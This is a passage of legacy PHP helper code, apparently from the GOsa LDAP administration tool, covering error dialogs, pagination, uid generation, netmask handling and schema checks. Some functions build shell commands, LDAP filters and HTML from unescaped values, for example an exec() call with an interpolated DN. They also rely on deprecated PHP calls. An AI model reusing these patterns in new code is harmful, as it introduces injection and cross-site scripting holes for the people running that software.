1188 "position:absolute' id='e_layer'><table style='width:100%' summary='' border=0>".
1189 "<tr><td style='vertical-align:top;padding:10px'><img alt='' src='".
1190 get_template_path($img)."'></td>".
1191 "<td style='width:100%'><b>$string</b><br><br>$addmsg</td></tr><tr><td colspan='2' align='center'><br><button ".
1192 (($_SESSION['js']==FALSE)?"type='submit'":"type='button' name='error_accept'").
1193 " style='width:80px' onClick='".$hide."'>".
1194 _("OK")."</button></td></tr></table></div>";
1195 }
1197 }else{
1198 return;
1199 }
1200 $_SESSION['errorsAlreadyPosted'][$string] = 1;
1202 }
1204 } else {
1205 echo "Error: $string\n";
1206 }
1207 $_SESSION['LastError'] = $string;
1208 }
1211 function gen_locked_message($user, $dn)
1212 {
1213 global $plug, $config;
1215 $_SESSION['dn']= $dn;
1216 $ldap= $config->get_ldap_link();
1217 $ldap->cat ($user, array('uid', 'cn'));
1218 $attrs= $ldap->fetch();
1220 /* Stop if we have no user here... */
1221 if (count($attrs)){
1222 $uid= $attrs["uid"][0];
1223 $cn= $attrs["cn"][0];
1224 } else {
1225 $uid= $attrs["uid"][0];
1226 $cn= $attrs["cn"][0];
1227 }
1229 $remove= false;
1231 if((isset($_SESSION['LOCK_VARS_TO_USE']))&&(count($_SESSION['LOCK_VARS_TO_USE']))){
1232 $_SESSION['LOCK_VARS_USED'] =array();
1233 foreach($_SESSION['LOCK_VARS_TO_USE'] as $name){
1235 if(empty($name)) continue;
1236 foreach($_POST as $Pname => $Pvalue){
1237 if(preg_match($name,$Pname)){
1238 $_SESSION['LOCK_VARS_USED'][$Pname] = $_POST[$Pname];
1239 }
1240 }
1242 foreach($_GET as $Pname => $Pvalue){
1243 if(preg_match($name,$Pname)){
1244 $_SESSION['LOCK_VARS_USED'][$Pname] = $_GET[$Pname];
1245 }
1246 }
1247 }
1248 $_SESSION['LOCK_VARS_TO_USE'] =array();
1249 }
1251 /* Prepare and show template */
1252 $smarty= get_smarty();
1253 $smarty->assign ("dn", $dn);
1254 if ($remove){
1255 $smarty->assign ("action", _("Continue anyway"));
1256 } else {
1257 $smarty->assign ("action", _("Edit anyway"));
1258 }
1259 $smarty->assign ("message", sprintf(_("You're going to edit the LDAP entry '%s' which appears to be used by '%s'. Please contact the person in order to clarify proceedings."), "<b>".$dn."</b>", "<b><a href=\"main.php?plug=0&viewid=$uid\">$cn</a></b>"));
1261 return ($smarty->fetch (get_template_path('islocked.tpl')));
1262 }
1265 function to_string ($value)
1266 {
1267 /* If this is an array, generate a text blob */
1268 if (is_array($value)){
1269 $ret= "";
1270 foreach ($value as $line){
1271 $ret.= $line."<br>\n";
1272 }
1273 return ($ret);
1274 } else {
1275 return ($value);
1276 }
1277 }
1280 function get_printer_list($cups_server)
1281 {
1282 global $config;
1284 $res= array();
1286 /* Use CUPS, if we've access to it */
1287 if (function_exists('cups_get_dest_list')){
1288 $dest_list= cups_get_dest_list ($cups_server);
1290 foreach ($dest_list as $prt){
1291 $attr= cups_get_printer_attributes ($cups_server, $prt->name);
1293 foreach ($attr as $prt_info){
1294 if ($prt_info->name == "printer-info"){
1295 $info= $prt_info->value;
1296 break;
1297 }
1298 }
1299 $res[$prt->name]= "$info [$prt->name]";
1300 }
1302 /* CUPS is not available, try lpstat as a replacement */
1303 } else {
1304 $ar = false;
1305 exec("lpstat -p", $ar);
1306 foreach($ar as $val){
1307 @list($dummy, $printer, $rest)= split(' ', $val, 3);
1308 if (preg_match('/^[^@]+$/', $printer)){
1309 $res[$printer]= "$printer";
1310 }
1311 }
1312 }
1314 /* Merge in printers from LDAP */
1315 $ldap= $config->get_ldap_link();
1316 $ldap->cd ($config->current['BASE']);
1317 $ui= get_userinfo();
1318 if (isset($config->current['STRICT_UNITS']) && preg_match('/TRUE/i', $config->current['STRICT_UNITS']) && $ui->gosaUnitTag != ""){
1319 $ldap->search('((objectClass=gotoPrinter)(gosaUnitTag='.$ui->gosaUnitTag.'))', array('cn'));
1320 } else {
1321 $ldap->search('(objectClass=gotoPrinter)', array('cn'));
1322 }
1323 while($attrs = $ldap->fetch()){
1324 $res[$attrs['cn'][0]] = $attrs['cn'][0];
1325 }
1327 return $res;
1328 }
1331 function sess_del ($var)
1332 {
1333 /* New style */
1334 unset ($_SESSION[$var]);
1336 /* ... work around, since the first one
1337 doesn't seem to work all the time */
1338 session_unregister ($var);
1339 }
1342 function show_errors($message)
1343 {
1344 $complete= "";
1346 /* Assemble the message array to a plain string */
1347 foreach ($message as $error){
1348 if ($complete == ""){
1349 $complete= $error;
1350 } else {
1351 $complete= "$error<br>$complete";
1352 }
1353 }
1355 /* Fill ERROR variable with nice error dialog */
1356 print_red($complete);
1357 }
1360 function show_ldap_error($message, $addon= "")
1361 {
1362 if (!preg_match("/Success/i", $message)){
1363 if ($addon == ""){
1364 print_red (_("LDAP error: $message"));
1365 } else {
1366 print_red ("$addon<br><br><b>"._("LDAP error:")."</b> $message");
1367 }
1368 return TRUE;
1369 } else {
1370 return FALSE;
1371 }
1372 }
1375 function rewrite($s)
1376 {
1377 global $REWRITE;
1379 foreach ($REWRITE as $key => $val){
1380 $s= preg_replace("/$key/", "$val", $s);
1381 }
1383 return ($s);
1384 }
1387 function dn2base($dn)
1388 {
1389 global $config;
1391 if (get_people_ou() != ""){
1392 $dn= preg_replace('/,'.get_people_ou().'/i' , ',', $dn);
1393 }
1394 if (get_groups_ou() != ""){
1395 $dn= preg_replace('/,'.get_groups_ou().'/i' , ',', $dn);
1396 }
1397 $base= preg_replace ('/^[^,]+,/i', '', $dn);
1399 return ($base);
1400 }
1404 function check_command($cmdline)
1405 {
1406 $cmd= preg_replace("/ .*$/", "", $cmdline);
1408 /* Check if command exists in filesystem */
1409 if (!file_exists($cmd)){
1410 return (FALSE);
1411 }
1413 /* Check if command is executable */
1414 if (!is_executable($cmd)){
1415 return (FALSE);
1416 }
1418 return (TRUE);
1419 }
1422 function print_header($image, $headline, $info= "")
1423 {
1424 $display= "<div class=\"plugtop\">\n";
1425 $display.= " <p class=\"center\" style=\"margin:0px 0px 0px 5px;padding:0px;font-size:24px;\"><img class=\"center\" src=\"$image\" align=\"middle\" alt=\"*\"> $headline</p>\n";
1426 $display.= "</div>\n";
1428 if ($info != ""){
1429 $display.= "<div class=\"pluginfo\">\n";
1430 $display.= "$info";
1431 $display.= "</div>\n";
1432 } else {
1433 $display.= "<div style=\"height:5px;\">\n";
1434 $display.= " ";
1435 $display.= "</div>\n";
1436 }
1437 # if (isset($_SESSION['errors'])){
1438 # $display.= $_SESSION['errors'];
1439 # }
1441 return ($display);
1442 }
1445 function register_global($name, $object)
1446 {
1447 $_SESSION[$name]= $object;
1448 }
1451 function is_global($name)
1452 {
1453 return isset($_SESSION[$name]);
1454 }
1457 function get_global($name)
1458 {
1459 return $_SESSION[$name];
1460 }
1463 function range_selector($dcnt,$start,$range=25,$post_var=false)
1464 {
1466 /* Entries shown left and right from the selected entry */
1467 $max_entries= 10;
1469 /* Initialize and take care that max_entries is even */
1470 $output="";
1471 if ($max_entries & 1){
1472 $max_entries++;
1473 }
1475 if((!empty($post_var))&&(isset($_POST[$post_var]))){
1476 $range= $_POST[$post_var];
1477 }
1479 /* Prevent output to start or end out of range */
1480 if ($start < 0 ){
1481 $start= 0 ;
1482 }
1483 if ($start >= $dcnt){
1484 $start= $range * (int)(($dcnt / $range) + 0.5);
1485 }
1487 $numpages= (($dcnt / $range));
1488 if(((int)($numpages))!=($numpages)){
1489 $numpages = (int)$numpages + 1;
1490 }
1491 if ((((int)$numpages) <= 1 )&&(!$post_var)){
1492 return ("");
1493 }
1494 $ppage= (int)(($start / $range) + 0.5);
1497 /* Align selected page to +/- max_entries/2 */
1498 $begin= $ppage - $max_entries/2;
1499 $end= $ppage + $max_entries/2;
1501 /* Adjust begin/end, so that the selected value is somewhere in
1502 the middle and the size is max_entries if possible */
1503 if ($begin < 0){
1504 $end-= $begin + 1;
1505 $begin= 0;
1506 }
1507 if ($end > $numpages) {
1508 $end= $numpages;
1509 }
1510 if (($end - $begin) < $max_entries && ($end - $max_entries) > 0){
1511 $begin= $end - $max_entries;
1512 }
1514 if($post_var){
1515 $output.= "<div style='border:1px solid #E0E0E0; background-color:#FFFFFF;'>
1516 <table summary='' width='100%'><tr><td style='width:25%'></td><td style='text-align:center;'>";
1517 }else{
1518 $output.= "<div style='border:1px solid #E0E0E0; background-color:#FFFFFF;'>";
1519 }
1521 /* Draw decrement */
1522 if ($start > 0 ) {
1523 $output.=" <a href= \"main.php?plug=".validate($_GET['plug'])."&start=".
1524 (($start-$range))."\">".
1525 "<img class=\"center\" alt=\"\" src=\"images/back.png\" border=0 align=\"middle\"></a>";
1526 }
1528 /* Draw pages */
1529 for ($i= $begin; $i < $end; $i++) {
1530 if ($ppage == $i){
1531 $output.= "<a style=\"vertical-align:middle;background-color:#D0D0D0;\" href=\"main.php?plug=".
1532 validate($_GET['plug'])."&start=".
1533 ($i*$range)."\"> ".($i+1)." </a>";
1534 } else {
1535 $output.= "<a style=\"vertical-align:middle;\" href=\"main.php?plug=".validate($_GET['plug']).
1536 "&start=".($i*$range)."\"> ".($i+1)." </a>";
1537 }
1538 }
1540 /* Draw increment */
1541 if($start < ($dcnt-$range)) {
1542 $output.=" <a href= \"main.php?plug=".validate($_GET['plug'])."&start=".
1543 (($start+($range)))."\">".
1544 "<img class=\"center\" alt=\"\" src=\"images/forward.png\" border=\"0\" align=\"middle\"></a>";
1545 }
1547 if(($post_var)&&($numpages)){
1548 $output.= "</td><td style='width:25%;text-align:right;vertical-align:middle;'> "._("Entries per page")." <select style='vertical-align:middle;' name='".$post_var."' onChange='javascript:document.mainform.submit()'>";
1549 foreach(array(20,50,100,200,"all") as $num){
1550 if($num == "all"){
1551 $var = 10000;
1552 }else{
1553 $var = $num;
1554 }
1555 if($var == $range){
1556 $output.="\n<option selected='selected' value='".$var."'>".$num."</option>";
1557 }else{
1558 $output.="\n<option value='".$var."'>".$num."</option>";
1559 }
1560 }
1561 $output.= "</select></td></tr></table></div>";
1562 }else{
1563 $output.= "</div>";
1564 }
1566 return($output);
1567 }
1570 function apply_filter()
1571 {
1572 $apply= "";
1574 $apply= ''.
1575 '<table summary="" width="100%" style="background:#EEEEEE;border-top:1px solid #B0B0B0;"><tr><td width="100%" align="right">'.
1576 '<input type="submit" name="apply" value="'._("Apply filter").'"></td></tr></table>';
1578 return ($apply);
1579 }
1582 function back_to_main()
1583 {
1584 $string= '<br><p class="plugbottom"><input type=submit name="password_back" value="'.
1585 _("Back").'"></p><input type="hidden" name="ignore">';
1587 return ($string);
1588 }
1591 function normalize_netmask($netmask)
1592 {
1593 /* Check for notation of netmask */
1594 if (!preg_match('/^([0-9]+\.){3}[0-9]+$/', $netmask)){
1595 $num= (int)($netmask);
1596 $netmask= "";
1598 for ($byte= 0; $byte<4; $byte++){
1599 $result=0;
1601 for ($i= 7; $i>=0; $i--){
1602 if ($num-- > 0){
1603 $result+= pow(2,$i);
1604 }
1605 }
1607 $netmask.= $result.".";
1608 }
1610 return (preg_replace('/\.$/', '', $netmask));
1611 }
1613 return ($netmask);
1614 }
1617 function netmask_to_bits($netmask)
1618 {
1619 list($nm0, $nm1, $nm2, $nm3)= split('\.', $netmask);
1620 $res= 0;
1622 for ($n= 0; $n<4; $n++){
1623 $start= 255;
1624 $name= "nm$n";
1626 for ($i= 0; $i<8; $i++){
1627 if ($start == (int)($$name)){
1628 $res+= 8 - $i;
1629 break;
1630 }
1631 $start-= pow(2,$i);
1632 }
1633 }
1635 return ($res);
1636 }
1639 function recurse($rule, $variables)
1640 {
1641 $result= array();
1643 if (!count($variables)){
1644 return array($rule);
1645 }
1647 reset($variables);
1648 $key= key($variables);
1649 $val= current($variables);
1650 unset ($variables[$key]);
1652 foreach($val as $possibility){
1653 $nrule= preg_replace("/\{$key\}/", $possibility, $rule);
1654 $result= array_merge($result, recurse($nrule, $variables));
1655 }
1657 return ($result);
1658 }
1661 function expand_id($rule, $attributes)
1662 {
1663 /* Check for id rule */
1664 if(preg_match('/^id(:|#)\d+$/',$rule)){
1665 return (array("\{$rule}"));
1666 }
1668 /* Check for clean attribute */
1669 if (preg_match('/^%[a-zA-Z0-9]+$/', $rule)){
1670 $rule= preg_replace('/^%/', '', $rule);
1671 $val= rewrite(preg_replace('/ /', '', strtolower($attributes[$rule])));
1672 return (array($val));
1673 }
1675 /* Check for attribute with parameters */
1676 if (preg_match('/^%[a-zA-Z0-9]+\[[0-9-]+\]$/', $rule)){
1677 $param= preg_replace('/^[^[]+\[([^]]+)]$/', '\\1', $rule);
1678 $part= preg_replace('/^%/', '', preg_replace('/\[.*$/', '', $rule));
1679 $val= rewrite(preg_replace('/ /', '', strtolower($attributes[$part])));
1680 $start= preg_replace ('/-.*$/', '', $param);
1681 $stop = preg_replace ('/^[^-]+-/', '', $param);
1683 /* Assemble results */
1684 $result= array();
1685 for ($i= $start; $i<= $stop; $i++){
1686 $result[]= substr($val, 0, $i);
1687 }
1688 return ($result);
1689 }
1691 echo "Error in idgen string: don't know how to handle rule $rule.\n";
1692 return (array($rule));
1693 }
1696 function gen_uids($rule, $attributes)
1697 {
1698 global $config;
1700 /* Search for keys and fill the variables array with all
1701 possible values for that key. */
1702 $part= "";
1703 $trigger= false;
1704 $stripped= "";
1705 $variables= array();
1707 for ($pos= 0; $pos < strlen($rule); $pos++){
1709 if ($rule[$pos] == "{" ){
1710 $trigger= true;
1711 $part= "";
1712 continue;
1713 }
1715 if ($rule[$pos] == "}" ){
1716 $variables[$pos]= expand_id($part, $attributes);
1717 $stripped.= "{".$pos."}";
1718 $trigger= false;
1719 continue;
1720 }
1722 if ($trigger){
1723 $part.= $rule[$pos];
1724 } else {
1725 $stripped.= $rule[$pos];
1726 }
1727 }
1729 /* Recurse through all possible combinations */
1730 $proposed= recurse($stripped, $variables);
1732 /* Get list of used ID's */
1733 $used= array();
1734 $ldap= $config->get_ldap_link();
1735 $ldap->cd($config->current['BASE']);
1736 $ldap->search('(uid=*)');
1738 while($attrs= $ldap->fetch()){
1739 $used[]= $attrs['uid'][0];
1740 }
1742 /* Remove used uids and watch out for id tags */
1743 $ret= array();
1744 foreach($proposed as $uid){
1746 /* Check for id tag and modify uid if needed */
1747 if(preg_match('/\{id:\d+}/',$uid)){
1748 $size= preg_replace('/^.*{id:(\d+)}.*$/', '\\1', $uid);
1750 for ($i= 0; $i < pow(10,$size); $i++){
1751 $number= sprintf("%0".$size."d", $i);
1752 $res= preg_replace('/{id:(\d+)}/', $number, $uid);
1753 if (!in_array($res, $used)){
1754 $uid= $res;
1755 break;
1756 }
1757 }
1758 }
1760 if(preg_match('/\{id#\d+}/',$uid)){
1761 $size= preg_replace('/^.*{id#(\d+)}.*$/', '\\1', $uid);
1763 while (true){
1764 mt_srand((double) microtime()*1000000);
1765 $number= sprintf("%0".$size."d", mt_rand(0, pow(10, $size)-1));
1766 $res= preg_replace('/{id#(\d+)}/', $number, $uid);
1767 if (!in_array($res, $used)){
1768 $uid= $res;
1769 break;
1770 }
1771 }
1772 }
1774 /* Don't assign used ones */
1775 if (!in_array($uid, $used)){
1776 $ret[]= $uid;
1777 }
1778 }
1780 return(array_unique($ret));
1781 }
1784 function array_search_r($needle, $key, $haystack){
1786 foreach($haystack as $index => $value){
1787 $match= 0;
1789 if (is_array($value)){
1790 $match= array_search_r($needle, $key, $value);
1791 }
1793 if ($index==$key && !is_array($value) && preg_match("/$needle/i", $value)){
1794 $match=1;
1795 }
1797 if ($match){
1798 return 1;
1799 }
1800 }
1802 return 0;
1803 }
1806 /* Sadly values like memory_limit are perpended by K, M, G, etc.
1807 Need to convert... */
1808 function to_byte($value) {
1809 $value= strtolower(trim($value));
1811 if(!is_numeric(substr($value, -1))) {
1813 switch(substr($value, -1)) {
1814 case 'g':
1815 $mult= 1073741824;
1816 break;
1817 case 'm':
1818 $mult= 1048576;
1819 break;
1820 case 'k':
1821 $mult= 1024;
1822 break;
1823 }
1825 return ($mult * (int)substr($value, 0, -1));
1826 } else {
1827 return $value;
1828 }
1829 }
1832 function in_array_ics($value, $items)
1833 {
1834 if (!is_array($items)){
1835 return (FALSE);
1836 }
1838 foreach ($items as $item){
1839 if (strtolower($item) == strtolower($value)) {
1840 return (TRUE);
1841 }
1842 }
1844 return (FALSE);
1845 }
1848 function generate_alphabet($count= 10)
1849 {
1850 $characters= _("*ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789");
1851 $alphabet= "";
1852 $c= 0;
1854 /* Fill cells with charaters */
1855 for ($i= 0; $i<mb_strlen($characters, 'UTF8'); $i++){
1856 if ($c == 0){
1857 $alphabet.= "<tr>";
1858 }
1860 $ch = mb_substr($characters, $i, 1, "UTF8");
1861 $alphabet.= "<td><a class=\"alphaselect\" href=\"main.php?plug=".
1862 validate($_GET['plug'])."&search=".$ch."\"> ".$ch." </a></td>";
1864 if ($c++ == $count){
1865 $alphabet.= "</tr>";
1866 $c= 0;
1867 }
1868 }
1870 /* Fill remaining cells */
1871 while ($c++ <= $count){
1872 $alphabet.= "<td> </td>";
1873 }
1875 return ($alphabet);
1876 }
1879 function validate($string)
1880 {
1881 return (strip_tags(preg_replace('/\0/', '', $string)));
1882 }
1884 function get_gosa_version()
1885 {
1886 global $svn_revision, $svn_path;
1888 /* Extract informations */
1889 $revision= preg_replace('/^[^0-9]*([0-9]+)[^0-9]*$/', '\1', $svn_revision);
1891 /* Release or development? */
1892 if (preg_match('%/gosa/trunk/%', $svn_path)){
1893 return (sprintf(_("GOsa development snapshot (Rev %s)"), $revision));
1894 } else {
1895 $release= preg_replace('%^.*/([^/]+)/include/functions.inc.*$%', '\1', $svn_path);
1896 return (_("GOsa $release"));
1897 }
1898 }
1901 function rmdirRecursive($path, $followLinks=false) {
1902 $dir= opendir($path);
1903 while($entry= readdir($dir)) {
1904 if(is_file($path."/".$entry) || ((!$followLinks) && is_link($path."/".$entry))) {
1905 unlink($path."/".$entry);
1906 } elseif (is_dir($path."/".$entry) && $entry!='.' && $entry!='..') {
1907 rmdirRecursive($path."/".$entry);
1908 }
1909 }
1910 closedir($dir);
1911 return rmdir($path);
1912 }
1914 function scan_directory($path,$sort_desc=false)
1915 {
1916 $ret = false;
1918 /* is this a dir ? */
1919 if(is_dir($path)) {
1921 /* is this path a readable one */
1922 if(is_readable($path)){
1924 /* Get contents and write it into an array */
1925 $ret = array();
1927 $dir = opendir($path);
1929 /* Is this a correct result ?*/
1930 if($dir){
1931 while($fp = readdir($dir))
1932 $ret[]= $fp;
1933 }
1934 }
1935 }
1936 /* Sort array ascending , like scandir */
1937 sort($ret);
1939 /* Sort descending if parameter is sort_desc is set */
1940 if($sort_desc) {
1941 $ret = array_reverse($ret);
1942 }
1944 return($ret);
1945 }
1947 function clean_smarty_compile_dir($directory)
1948 {
1949 global $svn_revision;
1951 if(is_dir($directory) && is_readable($directory)) {
1952 // Set revision filename to REVISION
1953 $revision_file= $directory."/REVISION";
1955 /* Is there a stamp containing the current revision? */
1956 if(!file_exists($revision_file)) {
1957 // create revision file
1958 create_revision($revision_file, $svn_revision);
1959 } else {
1960 # check for "$config->...['CONFIG']/revision" and the
1961 # contents should match the revision number
1962 if(!compare_revision($revision_file, $svn_revision)){
1963 // If revision differs, clean compile directory
1964 foreach(scan_directory($directory) as $file) {
1965 if(($file==".")||($file=="..")) continue;
1966 if( is_file($directory."/".$file) &&
1967 is_writable($directory."/".$file)) {
1968 // delete file
1969 if(!unlink($directory."/".$file)) {
1970 print_red("File ".$directory."/".$file." could not be deleted.");
1971 // This should never be reached
1972 }
1973 } elseif(is_dir($directory."/".$file) &&
1974 is_writable($directory."/".$file)) {
1975 // Just recursively delete it
1976 rmdirRecursive($directory."/".$file);
1977 }
1978 }
1979 // We should now create a fresh revision file
1980 clean_smarty_compile_dir($directory);
1981 } else {
1982 // Revision matches, nothing to do
1983 }
1984 }
1985 } else {
1986 // Smarty compile dir is not accessible
1987 // (Smarty will warn about this)
1988 }
1989 }
1991 function create_revision($revision_file, $revision)
1992 {
1993 $result= false;
1995 if(is_dir(dirname($revision_file)) && is_writable(dirname($revision_file))) {
1996 if($fh= fopen($revision_file, "w")) {
1997 if(fwrite($fh, $revision)) {
1998 $result= true;
1999 }
2000 }
2001 fclose($fh);
2002 } else {
2003 print_red("Can not write to revision file");
2004 }
2006 return $result;
2007 }
2009 function compare_revision($revision_file, $revision)
2010 {
2011 // false means revision differs
2012 $result= false;
2014 if(file_exists($revision_file) && is_readable($revision_file)) {
2015 // Open file
2016 if($fh= fopen($revision_file, "r")) {
2017 // Compare File contents with current revision
2018 if($revision == fread($fh, filesize($revision_file))) {
2019 $result= true;
2020 }
2021 } else {
2022 print_red("Can not open revision file");
2023 }
2024 // Close file
2025 fclose($fh);
2026 }
2028 return $result;
2029 }
2031 function progressbar($percentage,$width=100,$height=15,$showvalue=false)
2032 {
2033 $str = ""; // Our return value will be saved in this var
2035 $color = dechex($percentage+150);
2036 $color2 = dechex(150 - $percentage);
2037 $bgcolor= $showvalue?"FFFFFF":"DDDDDD";
2039 $progress = (int)(($percentage /100)*$width);
2041 /* Abort printing out percentage, if divs are to small */
2044 /* If theres a better solution for this, use it... */
2045 $str = "
2046 <div style=\" width:".($width)."px;
2047 height:".($height)."px;
2048 background-color:#000000;
2049 padding:1px;\">
2051 <div style=\" width:".($width)."px;
2052 background-color:#$bgcolor;
2053 height:".($height)."px;\">
2055 <div style=\" width:".$progress."px;
2056 height:".$height."px;
2057 background-color:#".$color2.$color2.$color."; \">";
2060 if(($height >10)&&($showvalue)){
2061 $str.= "<font style=\"font-size:".($height-2)."px;color:#FF0000;align:middle;padding-left:".((int)(($width*0.4)))."px;\">
2062 <b>".$percentage."%</b>
2063 </font>";
2064 }
2066 $str.= "</div></div></div>";
2068 return($str);
2069 }
2072 function array_key_ics($ikey, $items)
2073 {
2074 /* Gather keys, make them lowercase */
2075 $tmp= array();
2076 foreach ($items as $key => $value){
2077 $tmp[strtolower($key)]= $key;
2078 }
2080 if (isset($tmp[strtolower($ikey)])){
2081 return($tmp[strtolower($ikey)]);
2082 }
2084 return ("");
2085 }
2088 function search_config($arr, $name, $return)
2089 {
2090 if (is_array($arr)){
2091 foreach ($arr as $a){
2092 if (isset($a['CLASS']) &&
2093 strtolower($a['CLASS']) == strtolower($name)){
2095 if (isset($a[$return])){
2096 return ($a[$return]);
2097 } else {
2098 return ("");
2099 }
2100 } else {
2101 $res= search_config ($a, $name, $return);
2102 if ($res != ""){
2103 return $res;
2104 }
2105 }
2106 }
2107 }
2108 return ("");
2109 }
2112 function array_differs($src, $dst)
2113 {
2114 /* If the count is differing, the arrays differ */
2115 if (count ($src) != count ($dst)){
2116 return (TRUE);
2117 }
2119 /* So the count is the same - lets check the contents */
2120 $differs= FALSE;
2121 foreach($src as $value){
2122 if (!in_array($value, $dst)){
2123 $differs= TRUE;
2124 }
2125 }
2127 return ($differs);
2128 }
2131 function saveFilter($a_filter, $values)
2132 {
2133 if (isset($_POST['regexit'])){
2134 $a_filter["regex"]= $_POST['regexit'];
2136 foreach($values as $type){
2137 if (isset($_POST[$type])) {
2138 $a_filter[$type]= "checked";
2139 } else {
2140 $a_filter[$type]= "";
2141 }
2142 }
2143 }
2145 /* React on alphabet links if needed */
2146 if (isset($_GET['search'])){
2147 $s= mb_substr(validate($_GET['search']), 0, 1, "UTF8")."*";
2148 if ($s == "**"){
2149 $s= "*";
2150 }
2151 $a_filter['regex']= $s;
2152 }
2154 return ($a_filter);
2155 }
2158 /* Escape all preg_* relevant characters */
2159 function normalizePreg($input)
2160 {
2161 return (addcslashes($input, '[]()|/.*+-'));
2162 }
2165 /* Escape all LDAP filter relevant characters */
2166 function normalizeLdap($input)
2167 {
2168 return (addcslashes($input, '()|'));
2169 }
2172 /* Resturns the difference between to microtime() results in float */
2173 function get_MicroTimeDiff($start , $stop)
2174 {
2175 $a = split("\ ",$start);
2176 $b = split("\ ",$stop);
2178 $secs = $b[1] - $a[1];
2179 $msecs= $b[0] - $a[0];
2181 $ret = (float) ($secs+ $msecs);
2182 return($ret);
2183 }
2186 /* Check if the given department name is valid */
2187 function is_department_name_reserved($name,$base)
2188 {
2189 $reservedName = array("systems","apps","incomming","internal","accounts","fax","addressbook",
2190 preg_replace("/ou=(.*),/","\\1",get_people_ou()),
2191 preg_replace("/ou=(.*),/","\\1",get_groups_ou()));
2192 $follwedNames['/ou=fai,ou=configs,ou=systems,/'] = array("fai","hooks","templates","scripts","disk","packages","variables","profiles");
2194 /* Check if name is one of the reserved names */
2195 if(in_array_ics($name,$reservedName)) {
2196 return(true);
2197 }
2199 /* Check all follow combinations if name is in array && parent base == array_key, return false*/
2200 foreach($follwedNames as $key => $names){
2201 if((in_array_ics($name,$names)) && (preg_match($key,$base))){
2202 return(true);
2203 }
2204 }
2205 return(false);
2206 }
2209 function is_php4()
2210 {
2211 if (isset($_SESSION['PHP4COMPATIBLE'])){
2212 return true;
2213 }
2214 return (preg_match('/^4/', phpversion()));
2215 }
2218 function gosa_ldap_explode_dn($dn,$config = NULL,$verify_in_ldap=false)
2219 {
2220 /* Initialize variables */
2221 $ret = array("count" => 0); // Set count to 0
2222 $next = true; // if false, then skip next loops and return
2223 $cnt = 0; // Current number of loops
2224 $max = 100; // Just for security, prevent looops
2225 $ldap = NULL; // To check if created result a valid
2226 $keep = ""; // save last failed parse string
2228 /* Check each parsed dn in ldap ? */
2229 if($config!=NULL && $verify_in_ldap){
2230 $ldap = $config->get_ldap_link();
2231 }
2233 /* Lets start */
2234 $called = false;
2235 while(preg_match("/,/",$dn) && $next && $cnt < $max){
2237 $cnt ++;
2238 if(!preg_match("/,/",$dn)){
2239 $next = false;
2240 }
2241 $object = preg_replace("/[,].*$/","",$dn);
2242 $dn = preg_replace("/^[^,]+,/","",$dn);
2244 $called = true;
2246 /* Check if current dn is valid */
2247 if($ldap!=NULL){
2248 $ldap->cd($dn);
2249 $ldap->cat($dn,array("dn"));
2250 if($ldap->count()){
2251 $ret[] = $keep.$object;
2252 $keep = "";
2253 }else{
2254 $keep .= $object.",";
2255 }
2256 }else{
2257 $ret[] = $keep.$object;
2258 $keep = "";
2259 }
2260 }
2262 /* No dn was posted */
2263 if($cnt == 0 && !empty($dn)){
2264 $ret[] = $dn;
2265 }
2267 /* Append the rest */
2268 $test = $keep.$dn;
2269 if($called && !empty($test)){
2270 $ret[] = $keep.$dn;
2271 }
2272 $ret['count'] = count($ret) - 1;
2274 return($ret);
2275 }
2278 function get_base_from_hook($dn, $attrib)
2279 {
2280 global $config;
2282 if (isset($config->current['BASE_HOOK'])){
2284 /* Call hook script - if present */
2285 $command= $config->current['BASE_HOOK'];
2287 if ($command != ""){
2288 $command.= " '$dn' $attrib";
2289 if (check_command($command)){
2290 @DEBUG (DEBUG_SHELL, __LINE__, __FUNCTION__, __FILE__, $command, "Execute");
2291 exec($command, $output);
2292 if (preg_match("/^[0-9]+$/", $output[0])){
2293 return ($output[0]);
2294 } else {
2295 print_red(_("Warning - base_hook is not available. Using default base."));
2296 return ($config->current['UIDBASE']);
2297 }
2298 } else {
2299 print_red(_("Warning - base_hook is not available. Using default base."));
2300 return ($config->current['UIDBASE']);
2301 }
2303 } else {
2305 print_red(_("Warning - no base_hook defined. Using default base."));
2306 return ($config->current['UIDBASE']);
2308 }
2309 }
2310 }
2312 /* Schema validation functions */
2314 function check_schema_version($class, $version)
2315 {
2316 return preg_match("/\(v$version\)/", $class['DESC']);
2317 }
2321 function check_schema($cfg,$rfc2307bis = FALSE)
2322 {
2324 $messages= array();
2326 /* Get objectclasses */
2327 $ldap = new LDAP($cfg['admin'],$cfg['password'],$cfg['connection'] ,FALSE,$cfg['tls']);
2328 $objectclasses = $ldap->get_objectclasses();
2329 if(count($objectclasses) == 0){
2330 print_red(_("Can't get schema information from server. No schema check possible!"));
2331 }
2333 /* This is the default block used for each entry.
2334 * to avoid unset indexes.
2335 */
2336 $def_check = array("REQUIRED_VERSION" => "0",
2337 "SCHEMA_FILES" => array(),
2338 "CLASSES_REQUIRED" => array(),
2339 "STATUS" => FALSE,
2340 "IS_MUST_HAVE" => FALSE,
2341 "MSG" => "",
2342 "INFO" => "");#_("There is currently no information specified for this schema extension."));
2344 /* The gosa base schema */
2345 $checks['gosaObject'] = $def_check;
2346 $checks['gosaObject']['REQUIRED_VERSION'] = "2.4";
2347 $checks['gosaObject']['SCHEMA_FILES'] = array("gosa+samba3.schema","gosa.schema");
2348 $checks['gosaObject']['CLASSES_REQUIRED'] = array("gosaObject");
2349 $checks['gosaObject']['IS_MUST_HAVE'] = TRUE;
2351 /* GOsa Account class */
2352 $checks["gosaAccount"]["REQUIRED_VERSION"]= "2.4";
2353 $checks["gosaAccount"]["SCHEMA_FILES"] = array("gosa+samba3.schema","gosa.schema");
2354 $checks["gosaAccount"]["CLASSES_REQUIRED"]= array("gosaAccount");
2355 $checks["gosaAccount"]["IS_MUST_HAVE"] = TRUE;
2356 $checks["gosaAccount"]["INFO"] = _("Used to store account specific informations.");
2358 /* GOsa lock entry, used to mark currently edited objects as 'in use' */
2359 $checks["gosaLockEntry"]["REQUIRED_VERSION"] = "2.4";
2360 $checks["gosaLockEntry"]["SCHEMA_FILES"] = array("gosa+samba3.schema","gosa.schema");
2361 $checks["gosaLockEntry"]["CLASSES_REQUIRED"] = array("gosaLockEntry");
2362 $checks["gosaLockEntry"]["IS_MUST_HAVE"] = TRUE;
2363 $checks["gosaLockEntry"]["INFO"] = _("Used to lock currently edited entries to avoid multiple changes at the same time.");
2365 /* Some other checks */
2366 foreach(array(
2367 "gosaCacheEntry" => array("version" => "2.4"),
2368 "gosaDepartment" => array("version" => "2.4"),
